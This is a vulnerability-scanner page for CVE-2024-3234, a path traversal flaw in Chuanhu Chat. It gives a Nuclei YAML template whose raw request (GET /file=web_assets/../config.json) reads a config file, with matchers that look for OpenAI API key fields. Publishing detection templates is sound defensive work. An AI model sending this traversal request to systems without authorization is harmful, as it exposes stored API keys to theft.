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Chuanhu Chat - Directory Traversal

ID: CVE-2024-3234

Severity: critical

Author: DhiyaneshDk

Tags: cve,cve2024,chuanhuchatgpt,lfi

Description

Section titled “Description”

The gaizhenbiao/chuanhuchatgpt application is vulnerable to a path traversal attack due to its use of an outdated gradio component. The application is designed to restrict user access to resources within the web_assets folder. However, the outdated version of gradio it employs is susceptible to path traversal, as identified in CVE-2023-51449. This vulnerability allows unauthorized users to bypass the intended restrictions and access sensitive files, such as config.json, which contains API keys. The issue affects the latest version of chuanhuchatgpt prior to the fixed version released on 20240305.

YAML Source

Section titled “YAML Source”
id: CVE-2024-3234


info:
  name: Chuanhu Chat - Directory Traversal
  author: DhiyaneshDk
  severity: critical
  description: |
    The gaizhenbiao/chuanhuchatgpt application is vulnerable to a path traversal attack due to its use of an outdated gradio component. The application is designed to restrict user access to resources within the `web_assets` folder. However, the outdated version of gradio it employs is susceptible to path traversal, as identified in CVE-2023-51449. This vulnerability allows unauthorized users to bypass the intended restrictions and access sensitive files, such as `config.json`, which contains API keys. The issue affects the latest version of chuanhuchatgpt prior to the fixed version released on 20240305.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3234
    cwe-id: CWE-22
    epss-score: 0.00089
    epss-percentile: 0.38614
    cpe: cpe:2.3:a:gaizhenbiao:chuanhuchatgpt:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gaizhenbiao
    product: chuanhuchatgpt
  tags: cve,cve2024,chuanhuchatgpt,lfi


http:
  - raw:
      - |
        GET /file=web_assets/../config.json HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"openai_api_key":'
          - '"openai_api_type":'
        condition: and


      - type: word
        part: content_type
        words:
          - 'application/json'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e34f8ff15855bf12121d40f5a1dcca74a44be05bee0d6d98416e89a9a12df6cf02210094135a08eb3e62f7829b3e041319d922b9789c0115c591790de7c48f6fee97a8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3234.yaml"

View on Github